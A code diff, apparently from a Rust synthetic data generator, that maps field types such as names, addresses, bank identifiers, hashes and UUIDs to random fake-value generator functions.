"credit_card" => json!(CreditCardNumber(EN).fake_with_rng::<String, _>(rng)),
|
|
262
|
+
"color" => json!(generate_color_name(rng)),
|
|
263
|
+
"short_hex_color" => generate_short_hex_color(rng),
|
|
264
|
+
"file_name" => json!(FileName(EN).fake_with_rng::<String, _>(rng)),
|
|
265
|
+
"mime_type" => json!(MimeType(EN).fake_with_rng::<String, _>(rng)),
|
|
266
|
+
"bank_swift_bic" => json!(Bic(EN).fake_with_rng::<String, _>(rng)),
|
|
267
|
+
"fake_company_name" => json!(CompanyName(EN).fake_with_rng::<String, _>(rng)),
|
|
268
|
+
"slogan" => json!(CatchPhrase(EN).fake_with_rng::<String, _>(rng)),
|
|
269
|
+
"street_name" => json!(StreetName(EN).fake_with_rng::<String, _>(rng)),
|
|
270
|
+
"street_number" => json!(BuildingNumber(EN).fake_with_rng::<String, _>(rng)),
|
|
271
|
+
"street_suffix" => json!(StreetSuffix(EN).fake_with_rng::<String, _>(rng)),
|
|
272
|
+
"address" => generate_address(rng),
|
|
273
|
+
"address_line_2" => json!(SecondaryAddress(EN).fake_with_rng::<String, _>(rng)),
|
|
274
|
+
"timezone" => json!(TimeZone(EN).fake_with_rng::<String, _>(rng)),
|
|
275
|
+
"suffix" => json!(Suffix(EN).fake_with_rng::<String, _>(rng)),
|
|
276
|
+
"top_level_domain" => json!(DomainSuffix(EN).fake_with_rng::<String, _>(rng)),
|
|
277
|
+
"now" => generate_now(),
|
|
278
|
+
"unix_timestamp_ms" => generate_unix_timestamp_ms(rng),
|
|
279
|
+
|
|
280
|
+
// ========== Bucket B2: hardcoded representative lists ==========
|
|
281
|
+
"airport_name" => pick(rng, AIRPORT_NAMES),
|
|
282
|
+
"airport_continent" => pick(rng, AIRPORT_CONTINENTS),
|
|
283
|
+
"airport_country_code" => pick(rng, COUNTRY_CODES2),
|
|
284
|
+
"airport_region_code" => json!(format!("{}-{}", pick_str(rng, COUNTRY_CODES2), pick_str(rng, US_STATE_ABBR))),
|
|
285
|
+
"airport_gps_code" => generate_gps_code(rng),
|
|
286
|
+
"airport_municipality" => pick(rng, US_CITIES),
|
|
287
|
+
"airport_elevation" => json!(rng.random_range(-200i64..14000)),
|
|
288
|
+
"airport_latitude" => json!((rng.random_range(-90.0..90.0_f64) * 1e6).round() / 1e6),
|
|
289
|
+
"airport_longitude" => json!((rng.random_range(-180.0..180.0_f64) * 1e6).round() / 1e6),
|
|
290
|
+
"bank_name" => pick(rng, BANK_NAMES),
|
|
291
|
+
"bank_city" => pick(rng, US_CITIES),
|
|
292
|
+
"bank_state" => pick(rng, US_STATE_ABBR),
|
|
293
|
+
"bank_country_code" => pick(rng, COUNTRY_CODES2),
|
|
294
|
+
"bank_street_address" => generate_address(rng),
|
|
295
|
+
"bank_routing_number" => generate_digits(rng, 9),
|
|
296
|
+
"bank_lei" => generate_lei(rng),
|
|
297
|
+
"bank_riad_code" => json!(format!("{}{}", pick_str(rng, COUNTRY_CODES2), generate_digit_string(rng, 10))),
|
|
298
|
+
"hospital_city" => pick(rng, US_CITIES),
|
|
299
|
+
"hospital_state" => pick(rng, US_STATE_ABBR),
|
|
300
|
+
"hospital_postal_code" => generate_digits(rng, 5),
|
|
301
|
+
"hospital_street_address" => generate_address(rng),
|
|
302
|
+
"construction_trade" => pick(rng, CONSTRUCTION_TRADES),
|
|
303
|
+
"construction_role" => pick(rng, CONSTRUCTION_ROLES),
|
|
304
|
+
"construction_material" => pick(rng, CONSTRUCTION_MATERIALS),
|
|
305
|
+
"construction_heavy_equipment" => pick(rng, CONSTRUCTION_EQUIPMENT),
|
|
306
|
+
"construction_subcontract_category" => pick(rng, CONSTRUCTION_SUBCONTRACT),
|
|
307
|
+
"construction_standard_cost_code" => json!(format!("{:02}-{:04}", rng.random_range(1..34), rng.random_range(0..10000))),
|
|
308
|
+
"department_corporate" => pick(rng, DEPARTMENT_CORPORATE),
|
|
309
|
+
"department_retail" => pick(rng, DEPARTMENT_RETAIL),
|
|
310
|
+
"product_name" => pick(rng, PRODUCT_NAMES),
|
|
311
|
+
"product_category" => pick(rng, PRODUCT_CATEGORIES),
|
|
312
|
+
"product_subcategory" => pick(rng, PRODUCT_SUBCATEGORIES),
|
|
313
|
+
"product_description" => json!(Sentence(EN, 8..16).fake_with_rng::<String, _>(rng)),
|
|
314
|
+
"product_grocery" => pick(rng, PRODUCT_GROCERY),
|
|
315
|
+
"product_price" => json!((rng.random_range(1.0..1000.0_f64) * 100.0).round() / 100.0),
|
|
316
|
+
"movie_title" => pick(rng, MOVIE_TITLES),
|
|
317
|
+
"movie_genres" => pick(rng, MOVIE_GENRES),
|
|
318
|
+
"mobile_device_brand" => pick(rng, MOBILE_BRANDS),
|
|
319
|
+
"mobile_device_model" => pick(rng, MOBILE_MODELS),
|
|
320
|
+
"mobile_device_os" => pick(rng, MOBILE_OS),
|
|
321
|
+
"mobile_device_release_date" => generate_past_date(rng),
|
|
322
|
+
"app_name" => pick(rng, APP_NAMES),
|
|
323
|
+
"app_bundle_id" => generate_bundle_id(rng),
|
|
324
|
+
"app_version" => json!(format!("{}.{}.{}", rng.random_range(0..10), rng.random_range(0..20), rng.random_range(0..50))),
|
|
325
|
+
"university" => pick(rng, UNIVERSITIES),
|
|
326
|
+
"language" => pick(rng, LANGUAGES),
|
|
327
|
+
"language_code" => pick(rng, LANGUAGE_CODES),
|
|
328
|
+
"race" => pick(rng, RACES),
|
|
329
|
+
"nato_phonetic" => pick(rng, NATO_PHONETIC),
|
|
330
|
+
"linkedin_skill" => pick(rng, LINKEDIN_SKILLS),
|
|
331
|
+
"credit_card_type" => pick(rng, CREDIT_CARD_TYPES),
|
|
332
|
+
"scenario" => pick(rng, SCENARIOS),
|
|
333
|
+
"first_name_male" => pick(rng, FIRST_NAMES_MALE),
|
|
334
|
+
"first_name_female" => pick(rng, FIRST_NAMES_FEMALE),
|
|
335
|
+
"first_name_european" => pick(rng, FIRST_NAMES_EUROPEAN),
|
|
336
|
+
"family_name_chinese" => pick(rng, CHINESE_FAMILY_NAMES),
|
|
337
|
+
"given_name_chinese" => pick(rng, CHINESE_GIVEN_NAMES),
|
|
338
|
+
"shirt_size" => pick(rng, SHIRT_SIZES),
|
|
339
|
+
"frequency" => pick(rng, FREQUENCIES),
|
|
340
|
+
"gender" => pick(rng, GENDERS),
|
|
341
|
+
"gender_binary" => pick(rng, GENDERS_BINARY),
|
|
342
|
+
"gender_abbrev" => pick(rng, GENDER_ABBREV),
|
|
343
|
+
"gender_facebook" => pick(rng, GENDERS_FACEBOOK),
|
|
344
|
+
"message_text" => json!(Sentence(EN, 5..14).fake_with_rng::<String, _>(rng)),
|
|
345
|
+
"hashtag_text" => generate_hashtag(rng),
|
|
346
|
+
"social_handle" => generate_social_handle(rng),
|
|
347
|
+
"slug" => generate_slug(rng),
|
|
348
|
+
|
|
349
|
+
// ========== Bucket B1: format/hash/sequence ==========
|
|
350
|
+
"age" => json!(rng.random_range(18i64..90)),
|
|
351
|
+
"discount" => json!((rng.random_range(0.0..0.75_f64) * 100.0).round() / 100.0),
|
|
352
|
+
"tax_rate" => json!((rng.random_range(0.0..0.25_f64) * 10000.0).round() / 10000.0),
|
|
353
|
+
"money" => json!((rng.random_range(0.0..10000.0_f64) * 100.0).round() / 100.0),
|
|
354
|
+
"transaction_amount" => json!((rng.random_range(1.0..5000.0_f64) * 100.0).round() / 100.0),
|
|
355
|
+
"account_number" => generate_digits(rng, 12),
|
|
356
|
+
"numeric_string_id" => generate_digit_string_range(rng, 9, 19),
|
|
357
|
+
"digit_sequence" => generate_digit_sequence(args, index),
|
|
358
|
+
"character_sequence" => generate_character_sequence(args, index),
|
|
359
|
+
"sequence" => generate_sequence(args, index),
|
|
360
|
+
"row_number" => json!(index as u64 + 1),
|
|
361
|
+
"ssn" => generate_ssn(rng),
|
|
362
|
+
"ein" => generate_ein(rng),
|
|
363
|
+
"duns_number" => generate_digits(rng, 9),
|
|
364
|
+
"iban" => generate_iban(rng),
|
|
365
|
+
"sku" => generate_sku(rng),
|
|
366
|
+
"md5" => generate_hex_hash(rng, 32),
|
|
367
|
+
"sha1" => generate_hex_hash(rng, 40),
|
|
368
|
+
"sha256" => generate_hex_hash(rng, 64),
|
|
369
|
+
"mongodb_object_id" => generate_hex_hash(rng, 24),
|
|
370
|
+
"snowflake_id" => generate_snowflake_id(rng),
|
|
371
|
+
"password_hash" => json!(format!("$2b$12${}", generate_b64ish(rng, 53))),
|
|
372
|
+
"encrypt" => json!(format!("enc:{}", generate_b64ish(rng, 32))),
|
|
373
|
+
"ip_v4_cidr" => generate_ipv4_cidr(rng),
|
|
374
|
+
"ip_v6_cidr" => generate_ipv6_cidr(rng),
|
|
375
|
+
"avatar" => generate_avatar(rng),
|
|
376
|
+
"base64_image_url" => generate_base64_image_url(),
|
|
377
|
+
"dummy_image_url" => generate_dummy_image_url(rng),
|
|
378
|
+
"nhs_number" => generate_digits(rng, 10),
|
|
379
|
+
"medicare_beneficiary_id" => generate_mbi(rng),
|
|
380
|
+
"naughty_string" => pick(rng, NAUGHTY_STRINGS),
|
|
381
|
+
"sql_expression" => pick(rng, SQL_EXPRESSIONS),
|
|
382
|
+
"regex" => generate_regex(rng, args),
|
|
383
|
+
"date_between" => generate_date_between(rng, args),
|
|
384
|
+
"json_array" => generate_json_array(rng, args, locale, index),
|
|
385
|
+
"indices_pair" => generate_indices_pair(rng),
|
|
386
|
+
"repeating_element" => generate_repeating_element(rng, args, locale, index),
|
|
387
|
+
|
|
388
|
+
// Unknown type
|
|
389
|
+
_ => Value::Null,
|
|
390
|
+
}
|
|
391
|
+
}
|
|
392
|
+
|
|
393
|
+
// ============================================================================
|
|
394
|
+
// Helper functions for each type
|
|
395
|
+
// ============================================================================
|
|
396
|
+
|
|
397
|
+
// ========== Fast Generation Functions ==========
|
|
398
|
+
// These use pre-generated pools for maximum speed
|
|
399
|
+
|
|
400
|
+
/// Fast name generation using pre-generated pools (English only)
|
|
401
|
+
fn generate_fast_name(rng: &mut StdRng) -> Value {
|
|
402
|
+
let first_idx = rng.random_range(0..FIRST_NAMES.len());
|
|
403
|
+
let last_idx = rng.random_range(0..LAST_NAMES.len());
|
|
404
|
+
Value::String(format!("{} {}", FIRST_NAMES[first_idx], LAST_NAMES[last_idx]))
|
|
405
|
+
}
|
|
406
|
+
|
|
407
|
+
/// Fast first name generation
|
|
408
|
+
fn generate_fast_first_name(rng: &mut StdRng) -> Value {
|
|
409
|
+
let idx = rng.random_range(0..FIRST_NAMES.len());
|
|
410
|
+
Value::String(FIRST_NAMES[idx].to_string())
|
|
411
|
+
}
|
|
412
|
+
|
|
413
|
+
/// Fast last name generation
|
|
414
|
+
fn generate_fast_last_name(rng: &mut StdRng) -> Value {
|
|
415
|
+
let idx = rng.random_range(0..LAST_NAMES.len());
|
|
416
|
+
Value::String(LAST_NAMES[idx].to_string())
|
|
417
|
+
}
|
|
418
|
+
|
|
419
|
+
/// Fast email generation
|
|
420
|
+
fn generate_fast_email(rng: &mut StdRng, index: usize) -> Value {
|
|
421
|
+
let first_idx = rng.random_range(0..FIRST_NAMES.len());
|
|
422
|
+
let domain_idx = rng.random_range(0..EMAIL_DOMAINS.len());
|
|
423
|
+
Value::String(format!(
|
|
424
|
+
"{}.{}@{}",
|
|
425
|
+
FIRST_NAMES[first_idx].to_lowercase(),
|
|
426
|
+
index,
|
|
427
|
+
EMAIL_DOMAINS[domain_idx]
|
|
428
|
+
))
|
|
429
|
+
}
|
|
430
|
+
|
|
431
|
+
// ========== Full fake-rs Generation Functions (used for non-English locales) ==========
|
|
432
|
+
|
|
433
|
+
fn generate_name(rng: &mut StdRng, locale: Locale) -> Value {
|
|
434
|
+
let name: String = match locale {
|
|
435
|
+
Locale::EN => Name(EN).fake_with_rng(rng),
|
|
436
|
+
Locale::FR => Name(FR_FR).fake_with_rng(rng),
|
|
437
|
+
Locale::DE => Name(DE_DE).fake_with_rng(rng),
|
|
438
|
+
Locale::ZH_CN => Name(ZH_CN).fake_with_rng(rng),
|
|
439
|
+
Locale::ZH_TW => Name(ZH_TW).fake_with_rng(rng),
|
|
440
|
+
Locale::JA => Name(JA_JP).fake_with_rng(rng),
|
|
441
|
+
Locale::PT_BR => Name(PT_BR).fake_with_rng(rng),
|
|
442
|
+
Locale::IT => Name(IT_IT).fake_with_rng(rng),
|
|
443
|
+
Locale::AR => Name(AR_SA).fake_with_rng(rng),
|
|
444
|
+
};
|
|
445
|
+
json!(name)
|
|
446
|
+
}
|
|
447
|
+
|
|
448
|
+
fn generate_first_name(rng: &mut StdRng, locale: Locale) -> Value {
|
|
449
|
+
let name: String = match locale {
|
|
450
|
+
Locale::EN => FirstName(EN).fake_with_rng(rng),
|
|
451
|
+
Locale::FR => FirstName(FR_FR).fake_with_rng(rng),
|
|
452
|
+
Locale::DE => FirstName(DE_DE).fake_with_rng(rng),
|
|
453
|
+
Locale::ZH_CN => FirstName(ZH_CN).fake_with_rng(rng),
|
|
454
|
+
Locale::ZH_TW => FirstName(ZH_TW).fake_with_rng(rng),
|
|
455
|
+
Locale::JA => FirstName(JA_JP).fake_with_rng(rng),
|
|
456
|
+
_ => FirstName(EN).fake_with_rng(rng),
|
|
457
|
+
};
|
|
458
|
+
json!(name)
|
|
459
|
+
}
|
|
460
|
+
|
|
461
|
+
fn generate_last_name(rng: &mut StdRng, locale: Locale) -> Value {
|
|
462
|
+
let name: String = match locale {
|
|
463
|
+
Locale::EN => LastName(EN).fake_with_rng(rng),
|
|
464
|
+
Locale::FR => LastName(FR_FR).fake_with_rng(rng),
|
|
465
|
+
Locale::DE => LastName(DE_DE).fake_with_rng(rng),
|
|
466
|
+
Locale::ZH_CN => LastName(ZH_CN).fake_with_rng(rng),
|
|
467
|
+
Locale::ZH_TW => LastName(ZH_TW).fake_with_rng(rng),
|
|
468
|
+
Locale::JA => LastName(JA_JP).fake_with_rng(rng),
|
|
469
|
+
_ => LastName(EN).fake_with_rng(rng),
|
|
470
|
+
};
|
|
471
|
+
json!(name)
|
|
472
|
+
}
|
|
473
|
+
|
|
474
|
+
fn generate_email(rng: &mut StdRng, index: usize) -> Value {
|
|
475
|
+
let base: String = FreeEmail(EN).fake_with_rng(rng);
|
|
476
|
+
// Make email unique by adding index
|
|
477
|
+
let parts: Vec<&str> = base.splitn(2, '@').collect();
|
|
478
|
+
if parts.len() == 2 {
|
|
479
|
+
json!(format!("{}{}@{}", parts[0], index, parts[1]))
|
|
480
|
+
} else {
|
|
481
|
+
json!(base)
|
|
482
|
+
}
|
|
483
|
+
}
|
|
484
|
+
|
|
485
|
+
fn generate_password(rng: &mut StdRng, args: &Value) -> Value {
|
|
486
|
+
let min = args.get("min").and_then(|v| v.as_u64()).unwrap_or(8) as usize;
|
|
487
|
+
let max = args.get("max").and_then(|v| v.as_u64()).unwrap_or(20) as usize;
|
|
488
|
+
json!(Password(EN, min..max).fake_with_rng::<String, _>(rng))
|
|
489
|
+
}
|
|
490
|
+
|
|
491
|
+
fn generate_url(rng: &mut StdRng) -> Value {
|
|
492
|
+
let domain: String = DomainSuffix(EN).fake_with_rng(rng);
|
|
493
|
+
let word: String = Word(EN).fake_with_rng(rng);
|
|
494
|
+
json!(format!("https://www.{}.{}", word.to_lowercase(), domain))
|
|
495
|
+
}
|
|
496
|
+
|
|
497
|
+
fn generate_city(rng: &mut StdRng, locale: Locale) -> Value {
|
|
498
|
+
let city: String = match locale {
|
|
499
|
+
Locale::EN => CityName(EN).fake_with_rng(rng),
|
|
500
|
+
Locale::FR => CityName(FR_FR).fake_with_rng(rng),
|
|
501
|
+
Locale::DE => CityName(DE_DE).fake_with_rng(rng),
|
|
502
|
+
_ => CityName(EN).fake_with_rng(rng),
|
|
503
|
+
};
|
|
504
|
+
json!(city)
|
|
505
|
+
}
|
|
506
|
+
|
|
507
|
+
fn generate_street(rng: &mut StdRng, locale: Locale) -> Value {
|
|
508
|
+
let street: String = match locale {
|
|
509
|
+
Locale::EN => StreetName(EN).fake_with_rng(rng),
|
|
510
|
+
Locale::FR => StreetName(FR_FR).fake_with_rng(rng),
|
|
511
|
+
_ => StreetName(EN).fake_with_rng(rng),
|
|
512
|
+
};
|
|
513
|
+
json!(street)
|
|
514
|
+
}
|
|
515
|
+
|
|
516
|
+
fn generate_words(rng: &mut StdRng, args: &Value) -> Value {
|
|
517
|
+
let count = args.get("count").and_then(|v| v.as_u64()).unwrap_or(5) as usize;
|
|
518
|
+
let words: Vec<String> = Words(EN, count..count + 1).fake_with_rng(rng);
|
|
519
|
+
json!(words.join(" "))
|
|
520
|
+
}
|
|
521
|
+
|
|
522
|
+
fn generate_sentence(rng: &mut StdRng, args: &Value) -> Value {
|
|
523
|
+
let words = args.get("words").and_then(|v| v.as_u64()).unwrap_or(10) as usize;
|
|
524
|
+
json!(Sentence(EN, words..words + 5).fake_with_rng::<String, _>(rng))
|
|
525
|
+
}
|
|
526
|
+
|
|
527
|
+
fn generate_sentences(rng: &mut StdRng, args: &Value) -> Value {
|
|
528
|
+
let count = args.get("count").and_then(|v| v.as_u64()).unwrap_or(3) as usize;
|
|
529
|
+
let sentences: Vec<String> = Sentences(EN, count..count + 2).fake_with_rng(rng);
|
|
530
|
+
json!(sentences.join(" "))
|
|
531
|
+
}
|
|
532
|
+
|
|
533
|
+
fn generate_paragraph(rng: &mut StdRng, args: &Value) -> Value {
|
|
534
|
+
let sentences = args
|
|
535
|
+
.get("sentences")
|
|
536
|
+
.and_then(|v| v.as_u64())
|
|
537
|
+
.unwrap_or(5) as usize;
|
|
538
|
+
json!(Paragraph(EN, sentences..sentences + 3).fake_with_rng::<String, _>(rng))
|
|
539
|
+
}
|
|
540
|
+
|
|
541
|
+
fn generate_paragraphs(rng: &mut StdRng, args: &Value) -> Value {
|
|
542
|
+
let count = args.get("count").and_then(|v| v.as_u64()).unwrap_or(3) as usize;
|
|
543
|
+
let paragraphs: Vec<String> = Paragraphs(EN, count..count + 2).fake_with_rng(rng);
|
|
544
|
+
json!(paragraphs.join("\n\n"))
|
|
545
|
+
}
|
|
546
|
+
|
|
547
|
+
fn generate_text(rng: &mut StdRng, args: &Value) -> Value {
|
|
548
|
+
// Readable sentence/words instead of random character string
|
|
549
|
+
let words = args
|
|
550
|
+
.get("words")
|
|
551
|
+
.and_then(|v| v.as_u64())
|
|
552
|
+
.unwrap_or_else(|| rng.random_range(4..=12)) as usize;
|
|
553
|
+
json!(Sentence(EN, words..words + 3).fake_with_rng::<String, _>(rng))
|
|
554
|
+
}
|
|
555
|
+
|
|
556
|
+
fn generate_date(rng: &mut StdRng) -> Value {
|
|
557
|
+
let days_ago = rng.random_range(0i64..365);
|
|
558
|
+
let date = chrono::Utc::now() - chrono::Duration::days(days_ago);
|
|
559
|
+
json!(date.format("%Y-%m-%d").to_string())
|
|
560
|
+
}
|
|
561
|
+
|
|
562
|
+
fn generate_time(rng: &mut StdRng) -> Value {
|
|
563
|
+
let hour = rng.random_range(0..24);
|
|
564
|
+
let minute = rng.random_range(0..60);
|
|
565
|
+
let second = rng.random_range(0..60);
|
|
566
|
+
json!(format!("{:02}:{:02}:{:02}", hour, minute, second))
|
|
567
|
+
}
|
|
568
|
+
|
|
569
|
+
fn generate_datetime(rng: &mut StdRng) -> Value {
|
|
570
|
+
let days_ago = rng.random_range(0i64..365);
|
|
571
|
+
let dt = chrono::Utc::now() - chrono::Duration::days(days_ago);
|
|
572
|
+
json!(dt.to_rfc3339())
|
|
573
|
+
}
|
|
574
|
+
|
|
575
|
+
fn generate_past_date(rng: &mut StdRng) -> Value {
|
|
576
|
+
let days_ago = rng.random_range(1i64..3650);
|
|
577
|
+
let date = chrono::Utc::now() - chrono::Duration::days(days_ago);
|
|
578
|
+
json!(date.format("%Y-%m-%d").to_string())
|
|
579
|
+
}
|
|
580
|
+
|
|
581
|
+
fn generate_future_date(rng: &mut StdRng) -> Value {
|
|
582
|
+
let days_ahead = rng.random_range(1i64..365);
|
|
583
|
+
let date = chrono::Utc::now() + chrono::Duration::days(days_ahead);
|
|
584
|
+
json!(date.format("%Y-%m-%d").to_string())
|
|
585
|
+
}
|
|
586
|
+
|
|
587
|
+
/// Generate a fast UUID v4 using the provided RNG instead of crypto-random
|
|
588
|
+
/// Much faster than Uuid::new_v4() which uses OsRng
|
|
589
|
+
fn generate_fast_uuid(rng: &mut StdRng) -> Value {
|
|
590
|
+
let bytes: [u8; 16] = rng.random();
|
|
591
|
+
// Set version 4 and variant bits according to RFC 4122
|
|
592
|
+
let uuid = Uuid::from_bytes([
|
|
593
|
+
bytes[0], bytes[1], bytes[2], bytes[3],
|
|
594
|
+
bytes[4], bytes[5],
|
|
595
|
+
(bytes[6] & 0x0f) | 0x40, // version 4
|
|
596
|
+
(bytes[8] & 0x3f) | 0x80, // variant 1
|
|
597
|
+
bytes[9], bytes[10], bytes[11], bytes[12],
|
|
598
|
+
bytes[13], bytes[14], bytes[15], bytes[7],
|
|
599
|
+
]);
|
|
600
|
+
Value::String(uuid.to_string())
|
|
601
|
+
}
|
|
602
|
+
|
|
603
|
+
fn generate_uuid_v1(index: usize) -> Value {
|
|
604
|
+
// Sequential UUID-like format
|
|
605
|
+
json!(format!(
|
|
606
|
+
"{:08x}-{:04x}-1000-8000-{:012x}",
|
|
607
|
+
(index >> 32) as u32,
|
|
608
|
+
(index >> 16) as u16,
|
|
609
|
+
index as u64
|
|
610
|
+
))
|
|
611
|
+
}
|
|
612
|
+
|
|
613
|
+
fn generate_id_sequence(args: &Value, index: usize) -> Value {
|
|
614
|
+
let start = args.get("start").and_then(|v| v.as_u64()).unwrap_or(1);
|
|
615
|
+
json!(start + index as u64)
|
|
616
|
+
}
|
|
617
|
+
|
|
618
|
+
fn generate_ulid(rng: &mut StdRng) -> Value {
|
|
619
|
+
// Generate ULID-like string (timestamp + random)
|
|
620
|
+
let timestamp = chrono::Utc::now().timestamp_millis() as u64;
|
|
621
|
+
let random: u64 = rng.random();
|
|
622
|
+
json!(format!(
|
|
623
|
+
"{:010X}{:016X}",
|
|
624
|
+
timestamp & 0xFFFFFFFFFF,
|
|
625
|
+
random
|
|
626
|
+
))
|
|
627
|
+
}
|
|
628
|
+
|
|
629
|
+
fn generate_number(rng: &mut StdRng, args: &Value) -> Value {
|
|
630
|
+
let mut min = args.get("min").and_then(|v| v.as_i64()).unwrap_or(0);
|
|
631
|
+
let mut max = args.get("max").and_then(|v| v.as_i64()).unwrap_or(100);
|
|
632
|
+
if min > max {
|
|
633
|
+
std::mem::swap(&mut min, &mut max); // reversed DSL range must not panic random_range
|
|
634
|
+
}
|
|
635
|
+
json!(rng.random_range(min..=max))
|
|
636
|
+
}
|
|
637
|
+
|
|
638
|
+
fn generate_float(rng: &mut StdRng, args: &Value) -> Value {
|
|
639
|
+
let mut min = args.get("min").and_then(|v| v.as_f64()).unwrap_or(0.0);
|
|
640
|
+
let mut max = args.get("max").and_then(|v| v.as_f64()).unwrap_or(100.0);
|
|
641
|
+
if min > max {
|
|
642
|
+
std::mem::swap(&mut min, &mut max); // reversed DSL range must not panic random_range
|
|
643
|
+
}
|
|
644
|
+
let precision = args
|
|
645
|
+
.get("precision")
|
|
646
|
+
.and_then(|v| v.as_u64())
|
|
647
|
+
.unwrap_or(2) as i32;
|
|
648
|
+
let val = rng.random_range(min..=max);
|
|
649
|
+
let multiplier = 10_f64.powi(precision);
|
|
650
|
+
json!((val * multiplier).round() / multiplier)
|
|
651
|
+
}
|
|
652
|
+
|
|
653
|
+
fn generate_boolean(rng: &mut StdRng, args: &Value) -> Value {
|
|
654
|
+
let mut prob = args
|
|
655
|
+
.get("probability")
|
|
656
|
+
.or_else(|| args.get("true_probability"))
|
|
657
|
+
.and_then(|v| v.as_f64())
|
|
658
|
+
.unwrap_or(0.5);
|
|
659
|
+
// The DSL carries boolean weights as percentages (`true:85%` parses to 85), matching the
|
|
660
|
+
// Ruby engine's 0-100 contract. Treat >1.0 as a percent and clamp so a malformed weight
|
|
661
|
+
// can never reach random_bool's [0.0, 1.0] panic.
|
|
662
|
+
if prob > 1.0 {
|
|
663
|
+
prob /= 100.0;
|
|
664
|
+
}
|
|
665
|
+
let prob = prob.clamp(0.0, 1.0);
|
|
666
|
+
json!(rng.random_bool(prob))
|
|
667
|
+
}
|
|
668
|
+
|
|
669
|
+
fn generate_hex_color(rng: &mut StdRng) -> Value {
|
|
670
|
+
let r: u8 = rng.random();
|
|
671
|
+
let g: u8 = rng.random();
|
|
672
|
+
let b: u8 = rng.random();
|
|
673
|
+
json!(format!("#{:02X}{:02X}{:02X}", r, g, b))
|
|
674
|
+
}
|
|
675
|
+
|
|
676
|
+
fn generate_rgb_color(rng: &mut StdRng) -> Value {
|
|
677
|
+
let r: u8 = rng.random();
|
|
678
|
+
let g: u8 = rng.random();
|
|
679
|
+
let b: u8 = rng.random();
|
|
680
|
+
json!(format!("rgb({}, {}, {})", r, g, b))
|
|
681
|
+
}
|
|
682
|
+
|
|
683
|
+
fn generate_enum(rng: &mut StdRng, args: &Value) -> Value {
|
|
684
|
+
if let Some(values) = args.get("values").and_then(|v| v.as_array()) {
|
|
685
|
+
if !values.is_empty() {
|
|
686
|
+
let idx = rng.random_range(0..values.len());
|
|
687
|
+
return values[idx].clone();
|
|
688
|
+
}
|
|
689
|
+
}
|
|
690
|
+
Value::Null
|
|
691
|
+
}
|
|
692
|
+
|
|
693
|
+
fn generate_array(rng: &mut StdRng, args: &Value, locale: Locale, index: usize) -> Value {
|
|
694
|
+
let item_type = args
|
|
695
|
+
.get("type")
|
|
696
|
+
.and_then(|v| v.as_str())
|
|
697
|
+
.unwrap_or("word");
|
|
698
|
+
let min = args.get("min").and_then(|v| v.as_u64()).unwrap_or(1) as usize;
|
|
699
|
+
let max = args.get("max").and_then(|v| v.as_u64()).unwrap_or(5) as usize;
|
|
700
|
+
let count = rng.random_range(min..=max);
|
|
701
|
+
|
|
702
|
+
let items: Vec<Value> = (0..count)
|
|
703
|
+
.map(|i| generate_value(rng, item_type, &json!({}), locale, index + i))
|
|
704
|
+
.collect();
|
|
705
|
+
json!(items)
|
|
706
|
+
}
|
|
707
|
+
|
|
708
|
+
// ============================================================================
|
|
709
|
+
// Bucket A helpers
|
|
710
|
+
// ============================================================================
|
|
711
|
+
|
|
712
|
+
static COLOR_NAMES: &[&str] = &[
|
|
713
|
+
"red", "blue", "green", "yellow", "orange", "purple", "pink", "brown",
|
|
714
|
+
"black", "white", "gray", "cyan", "magenta", "teal", "navy", "maroon",
|
|
715
|
+
"olive", "lime", "aqua", "silver", "gold", "indigo", "violet", "coral",
|
|
716
|
+
];
|
|
717
|
+
|
|
718
|
+
fn generate_color_name(rng: &mut StdRng) -> &'static str {
|
|
719
|
+
COLOR_NAMES[rng.random_range(0..COLOR_NAMES.len())]
|
|
720
|
+
}
|
|
721
|
+
|
|
722
|
+
fn generate_short_hex_color(rng: &mut StdRng) -> Value {
|
|
723
|
+
let v: u16 = rng.random_range(0..0x1000);
|
|
724
|
+
json!(format!("#{:03x}", v))
|
|
725
|
+
}
|
|
726
|
+
|
|
727
|
+
fn generate_address(rng: &mut StdRng) -> Value {
|
|
728
|
+
let number: String = BuildingNumber(EN).fake_with_rng(rng);
|
|
729
|
+
let street: String = StreetName(EN).fake_with_rng(rng);
|
|
730
|
+
let city: String = CityName(EN).fake_with_rng(rng);
|
|
731
|
+
let state: String = StateAbbr(EN).fake_with_rng(rng);
|
|
732
|
+
let zip: String = ZipCode(EN).fake_with_rng(rng);
|
|
733
|
+
json!(format!("{} {}, {}, {} {}", number, street, city, state, zip))
|
|
734
|
+
}
|
|
735
|
+
|
|
736
|
+
fn generate_now() -> Value {
|
|
737
|
+
json!(chrono::Utc::now().to_rfc3339())
|
|
738
|
+
}
|
|
739
|
+
|
|
740
|
+
fn generate_unix_timestamp_ms(rng: &mut StdRng) -> Value {
|
|
741
|
+
let now = chrono::Utc::now().timestamp_millis();
|
|
742
|
+
let offset = rng.random_range(0i64..(365 * 24 * 60 * 60 * 1000));
|
|
743
|
+
json!(now - offset)
|
|
744
|
+
}
|
|
745
|
+
|
|
746
|
+
// ============================================================================
|
|
747
|
+
// Bucket B helpers + static data
|
|
748
|
+
// ============================================================================
|
|
749
|
+
|
|
750
|
+
/// Pick a random &str from a slice and return it as a JSON string.
|
|
751
|
+
fn pick(rng: &mut StdRng, slice: &[&str]) -> Value {
|
|
752
|
+
json!(slice[rng.random_range(0..slice.len())])
|
|
753
|
+
}
|
|
754
|
+
|
|
755
|
+
/// Pick a random &str from a slice (raw, for composition).
|
|
756
|
+
fn pick_str<'a>(rng: &mut StdRng, slice: &'a [&'a str]) -> &'a str {
|
|
757
|
+
slice[rng.random_range(0..slice.len())]
|
|
758
|
+
}
|
|
759
|
+
|
|
760
|
+
/// N random digits as a JSON string (preserves leading zeros).
|
|
761
|
+
fn generate_digits(rng: &mut StdRng, n: usize) -> Value {
|
|
762
|
+
json!(generate_digit_string(rng, n))
|
|
763
|
+
}
|
|
764
|
+
|
|
765
|
+
fn generate_digit_string(rng: &mut StdRng, n: usize) -> String {
|
|
766
|
+
(0..n)
|
|
767
|
+
.map(|_| std::char::from_digit(rng.random_range(0..10), 10).unwrap())
|
|
768
|
+
.collect()
|
|
769
|
+
}
|
|
770
|
+
|
|
771
|
+
fn generate_digit_string_range(rng: &mut StdRng, min: usize, max: usize) -> Value {
|
|
772
|
+
let n = rng.random_range(min..=max);
|
|
773
|
+
// First digit non-zero so it reads like an id
|
|
774
|
+
let mut s = std::char::from_digit(rng.random_range(1..10), 10).unwrap().to_string();
|
|
775
|
+
s.push_str(&generate_digit_string(rng, n.saturating_sub(1)));
|
|
776
|
+
json!(s)
|
|
777
|
+
}
|
|
778
|
+
|
|
779
|
+
